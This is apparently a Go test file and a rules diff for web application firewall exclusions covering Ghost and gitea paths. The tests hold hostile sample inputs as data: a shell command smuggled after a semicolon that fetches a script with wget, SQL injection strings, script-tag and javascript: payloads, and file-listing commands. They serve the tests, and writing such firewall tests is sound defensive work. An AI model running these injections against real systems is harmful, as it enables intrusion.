|
||||||
wantGhostQuery(
|
|
||||||
t,
|
|
||||||
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
wantGhostQuery(t, ghostSearch+encoded, false)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, address := range ghostURLs {
|
|
||||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, address := range ghostAddresses {
|
|
||||||
for _, f := range ghostAddressFields {
|
|
||||||
wantGhostField(t, f, address, false)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, f := range ghostArticleFields {
|
|
||||||
wantGhostField(t, f, ghostArticle, false)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, f := range ghostCodeFields {
|
|
||||||
wantGhostField(t, f, ghostCodeInjection, false)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
|
||||||
url.QueryEscape(
|
|
||||||
"tag:powershell+status:[draft,scheduled,published,sent]",
|
|
||||||
), false)
|
|
||||||
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
|
||||||
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostAttacks are an SQL injection, a path traversal and a script
|
|
||||||
// injection, not escaped.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
|
||||||
|
|
||||||
// commandAfterASeparator is a shell command after a ";", not escaped.
|
|
||||||
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
|
||||||
|
|
||||||
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, attack := range ghostAttacks {
|
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
||||||
ghostArticleFields, ghostCodeFields) {
|
|
||||||
wantGhostField(t, f, attack, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, target := range ghostQueryFields {
|
|
||||||
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// A command after a separator stays refused wherever its rules do not
|
|
||||||
// misfire: in the query fields, the plain text and the addresses.
|
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
|
||||||
wantGhostField(t, f, commandAfterASeparator, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, target := range ghostQueryFields {
|
|
||||||
wantGhostQuery(
|
|
||||||
t,
|
|
||||||
target+url.QueryEscape(commandAfterASeparator),
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The articles and code injection carry HTML on purpose, but a script
|
|
||||||
// element and a javascript: link are still refused there.
|
|
||||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
|
||||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
||||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
// An address keeps 932250, which refuses a listing of files.
|
|
||||||
for _, f := range ghostAddressFields {
|
|
||||||
wantGhostField(t, f, "ls -la /root", true)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
|
||||||
// take no such field, and when the query has a field of the same name.
|
|
||||||
const (
|
|
||||||
title = `{"posts":[{"title":"python3"}]}`
|
|
||||||
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
|
||||||
name = `{"name":"python3"}`
|
|
||||||
email = `{"email":"python3.dev@example.com"}`
|
|
||||||
username = `{"username":"python3.dev@example.com"}`
|
|
||||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
|
||||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
|
||||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, refused := range []struct{ target, body string }{
|
|
||||||
{"/api/posts/", title},
|
|
||||||
{"/ghost/api/content/posts/", title},
|
|
||||||
{ghostMember, title},
|
|
||||||
{ghostPosts + "?json.posts.0.title=x", title},
|
|
||||||
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
|
||||||
{ghostPosts, name},
|
|
||||||
{ghostMember + "?json.name=x", name},
|
|
||||||
{"/api/posts/", article},
|
|
||||||
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
|
||||||
{ghostPosts + "?json.posts.0.lexical=x", article},
|
|
||||||
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
|
||||||
{
|
|
||||||
ghostSettings + "?json.settings.0.value=x",
|
|
||||||
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
|
||||||
},
|
|
||||||
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
|
||||||
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
|
||||||
{ghostPosts, email},
|
|
||||||
{ghostMembers, email},
|
|
||||||
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
|
||||||
{
|
|
||||||
ghostMembers + "?json.members.0.email=x",
|
|
||||||
`{"members":[{"email":"python3.dev@example.com"}]}`,
|
|
||||||
},
|
|
||||||
{ghostMember + "?json.email=x", email},
|
|
||||||
{ghostPosts, username},
|
|
||||||
{ghostSession + "?json.username=x", username},
|
|
||||||
{ghostPosts, setupEmail},
|
|
||||||
{ghostSetup + "?json.setup.0.email=x", setupEmail},
|
|
||||||
{ghostPosts, passwordResetEmail},
|
|
||||||
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
|
||||||
{ghostPosts, userEmail},
|
|
||||||
{ghostUser + "?json.users.0.email=x", userEmail},
|
|
||||||
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
|
||||||
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
|
||||||
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
|
||||||
{
|
|
||||||
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
|
|
||||||
`{"users":[{"profile_image":null}]}`,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, refused.body)
|
|
||||||
if got.Score < ghostThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"PUT %s %s let through: %+v",
|
|
||||||
refused.target,
|
|
||||||
refused.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// The query fields keep their rules off Ghost's paths, and in other
|
|
||||||
// query fields there. search skips its rules only on the Admin API, and
|
|
||||||
// url only on the editor's lookup of embeds.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/api/posts/?filter=powershell",
|
|
||||||
"/ghost/posts/?filter=powershell",
|
|
||||||
"/ghost/api/admin/posts/?order=powershell",
|
|
||||||
"/ghost/api/content/posts/?search=python3",
|
|
||||||
"/members/api/member/?search=python3",
|
|
||||||
"/ghost/api/admin/posts/?url=powershell",
|
|
||||||
"/oembed/?url=powershell",
|
|
||||||
} {
|
|
||||||
wantGhostQuery(t, target, true)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGhostPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Ghost's password fields, each sent to the path that takes it. A dot
|
|
||||||
// nests a field, as Ghost nests it in an array.
|
|
||||||
fields := []passwordFields{
|
|
||||||
{ghostSession, jsonBody, []string{passwordKey}},
|
|
||||||
{
|
|
||||||
"/ghost/api/admin/authentication/setup/",
|
|
||||||
jsonBody,
|
|
||||||
[]string{"setup.0.password"},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
|
||||||
[]string{"invitation.0.password"},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
|
||||||
[]string{
|
|
||||||
"password_reset.0.newPassword",
|
|
||||||
"password_reset.0.ne2Password",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/ghost/api/admin/users/password/", jsonBody,
|
|
||||||
[]string{
|
|
||||||
"password.0.oldPassword", "password.0.newPassword",
|
|
||||||
"password.0.ne2Password",
|
|
||||||
},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
wantPasswordFieldsPass(t, fields)
|
|
||||||
}
|
|
||||||
+29
-256
@@ -1,56 +1,8 @@
|
|||||||
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||||
# They are the fields where gitea sends a search, a file's name or text, a
|
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||||
# commit message, a branch name or a repository's name. Each exclusion runs with
|
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||||
# the request, before the rules it switches off, those of phase 1 included, so
|
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||||
# this file is loaded before the Core Rule Set's rules. Each comment names a
|
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||||
# request the rule refused.
|
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
|
|
||||||
# while SWW_APPS is unset, or lists gitea or forgejo for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_gitea itself.
|
|
||||||
SecRule &TX:app_gitea "@eq 0" \
|
|
||||||
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
|
||||||
|
|
||||||
# The query parameters in which gitea sends names within a repository or its
|
|
||||||
# own records, or a page of its own site, are not checked against the lists of
|
|
||||||
# system files, shell paths and command names, on any path:
|
|
||||||
# 930120: .gitignore
|
|
||||||
# 932160: bin/docker-entrypoint
|
|
||||||
# 932260: docker-build
|
|
||||||
# ARGS holds the fields of a form data or multipart body Coraza reads as well
|
|
||||||
# as the query parameters, so a field of these names is left out too.
|
|
||||||
SecAction "id:900591,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -83,20 +35,17 @@ SecAction "id:900591,phase:1,pass,nolog,\
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# 944110: java.lang.Runtime
|
# 944110: java.lang.Runtime
|
||||||
# 944130: java.lang.Runtime
|
# 944130: java.lang.Runtime
|
||||||
# The searches of issues and pull requests include those of one team of an
|
# gitea has no owner named api. A repository's search, issues, pull requests and
|
||||||
# organisation, such as /org/acme/issues/developers, and of one milestone, such
|
# commit search with that owner get none of this. /api/v2/search, for example,
|
||||||
# as /alice/tools/milestone/1.
|
# is Mastodon's search.
|
||||||
# gitea has no owner named api. A repository's search, issues, pull requests,
|
|
||||||
# milestone pages and commit search with that owner get none of this.
|
|
||||||
# /api/v2/search, for example, is Mastodon's search.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||||
[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
|
[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||||
"id:900600,phase:1,pass,nolog,chain"
|
"id:900600,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||||
pulls|milestone/[0-9]+|commits/(?:branch|tag|commit)/.+/search)$" \
|
pulls|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
@@ -136,14 +85,13 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# A repository with the owner api is left out here too.
|
# A repository with the owner api is left out here too.
|
||||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||||
issues(?:/search)?|pulls|[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
|
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||||
"id:900601,phase:1,pass,nolog,chain"
|
"id:900601,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||||
issues(?:/search)?|pulls|milestone/[0-9]+|\
|
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||||
commits/(?:branch|tag|commit)/.+/search)\?" \
|
|
||||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||||
@@ -154,93 +102,35 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
|||||||
# name in q, which skips these rules there:
|
# name in q, which skips these rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# 944130: org.apache.commons.logging
|
# 944130: org.apache.commons.logging
|
||||||
# [^/]+/[^/]+/packages matches an owner's packages page (/alice/-/packages), a
|
|
||||||
# repository's (/alice/tools/packages) and gitea's admin page of packages
|
|
||||||
# (/-/admin/packages). Forgejo's admin page of packages is /admin/packages.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||||
[^/]+/[^/]+/(?:branches|tags|packages)|admin/packages|\
|
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
|
||||||
api/v1/repos/search|api/v1/packages/[^/]+)$" \
|
|
||||||
"id:900602,phase:1,pass,nolog,\
|
"id:900602,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
# gitea's other searches for a name send it in q too, which skips only these
|
||||||
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
# rules there:
|
||||||
# pages, on an owner's packages page and on the admin page of packages also
|
|
||||||
# skips this rule:
|
|
||||||
# 932160: /bin/sh
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
|
||||||
admin/packages)$" \
|
|
||||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
|
||||||
|
|
||||||
# gitea's other searches send a name or a few words in q too, which skips only
|
|
||||||
# these rules there:
|
|
||||||
# 930120: .profile, .htaccess
|
|
||||||
# 932120: powershell-scripts, powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3-app, python3
|
|
||||||
# The searches:
|
|
||||||
# - the dashboard's filter of repositories;
|
|
||||||
# - the author filter of the issue and pull request lists;
|
|
||||||
# - the lists of users and organisations, and the API's search for users;
|
|
||||||
# - the list of repositories a user watches;
|
|
||||||
# - an organisation's milestones of one team, and its search for teams;
|
|
||||||
# - the milestones of a repository or an organisation, and the projects of a
|
|
||||||
# repository, a user or an organisation;
|
|
||||||
# - the versions of a package;
|
|
||||||
# - the issues suggested when an issue is mentioned;
|
|
||||||
# - the runner lists of the site, a user, an organisation and a repository;
|
|
||||||
# - the admin lists of users, organisations, repositories, unadopted
|
|
||||||
# repositories and emails, and the forms on them that adopt a repository or
|
|
||||||
# activate an email, in the body.
|
|
||||||
# gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
|
||||||
# [^/]+/[^/]+/projects matches the projects page of a user or an organisation
|
|
||||||
# (/alice/-/projects) as well as a repository's. The path of a package's
|
|
||||||
# versions holds the package's name, which can hold a slash, as npm's
|
|
||||||
# @scope/name does.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
|
||||||
explore/(?:users|organizations)|api/v1/users/search|\
|
|
||||||
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
|
||||||
[^/]+/-/packages/[^/]+/.+/versions|\
|
|
||||||
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
|
||||||
projects|settings/actions/runners)|\
|
|
||||||
user/settings/actions/runners|\
|
|
||||||
(?:-/)?admin/(?:users|orgs|repos|repos/unadopted|emails|emails/activate|\
|
|
||||||
actions/runners))$" \
|
|
||||||
"id:900603,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
|
||||||
# too. Their path has one segment, so q skips these rules on every path of one
|
|
||||||
# segment, other apps' pages such as /index.php included:
|
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
|
# The searches:
|
||||||
"id:900604,phase:1,pass,nolog,\
|
# - the dashboard's filter of repositories;
|
||||||
|
# - the repositories on a user's or an organisation's page, whose path has
|
||||||
|
# one segment;
|
||||||
|
# - the author filter of the issue and pull request lists;
|
||||||
|
# - the lists of users and organisations, and the API's search for users.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
|
||||||
|
explore/(?:users|organizations)|api/v1/users/search|\
|
||||||
|
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
||||||
|
"id:900603,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# On those pages q skips 932250 too, which refused ls -la, but only on a path
|
|
||||||
# made of the characters a user's or an organisation's name may hold. Those are
|
|
||||||
# letters, digits, -, _ and dots, the first a letter or digit, so
|
|
||||||
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
|
|
||||||
# script's extension keeps it too, such as /index.php or /search.cgi.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
|
|
||||||
"id:900606,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
|
|
||||||
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
|
|
||||||
|
|
||||||
# These requests name a file in the path, which skips these rules there:
|
# These requests name a file in the path, which skips these rules there:
|
||||||
# 920500: notes.txt~
|
# 920500: notes.txt~
|
||||||
# 934100: process.env.d.ts
|
# 934100: process.env.d.ts
|
||||||
@@ -273,8 +163,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. Rule 900591 already has path and
|
# Each request skips the rules that refused it. The fourth change already has
|
||||||
# redirect_to skip 930120, 932160 and 932260 on every path.
|
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -393,91 +283,6 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||||
|
|
||||||
# The requests below name a file or a branch in a body field, which is read only
|
|
||||||
# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
|
|
||||||
# Each field below that names a branch skips these rules:
|
|
||||||
# 932120: fix-powershell-module
|
|
||||||
# 932260: feat/docker-support
|
|
||||||
# None applies when the query has a parameter of the same name.
|
|
||||||
|
|
||||||
# The web editor's save, new file, delete, upload, patch, cherry-pick and
|
|
||||||
# preview. The file's path, in tree_path, skips these rules:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: scripts/install-script.sh
|
|
||||||
# 932260: docker-compose.yml
|
|
||||||
# The commit's summary, in commit_summary, skips these rules:
|
|
||||||
# 930120: Remove .htaccess
|
|
||||||
# 932120: Remove scripts/install-script.sh
|
|
||||||
# The file's text or the patch, in content, skips one rule:
|
|
||||||
# 932235: a line that starts with install
|
|
||||||
# A new branch for the commit is named in new_branch_name.
|
|
||||||
SecRule REQUEST_FILENAME \
|
|
||||||
"@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
|
|
||||||
"id:900660,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:content,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
|
||||||
|
|
||||||
# A branch created on the web, in new_branch_name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
|
|
||||||
"id:900661,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:new_branch_name "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
|
||||||
|
|
||||||
# A branch renamed on the web, in from and to.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
|
|
||||||
"id:900662,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
|
||||||
|
|
||||||
# A branch created through the API, in new_branch_name. It starts from the
|
|
||||||
# branch in old_branch_name, or the branch, tag or commit in old_ref_name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
|
|
||||||
"id:900663,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:new_branch_name|old_branch_name|old_ref_name)$/ "@eq 0" \
|
|
||||||
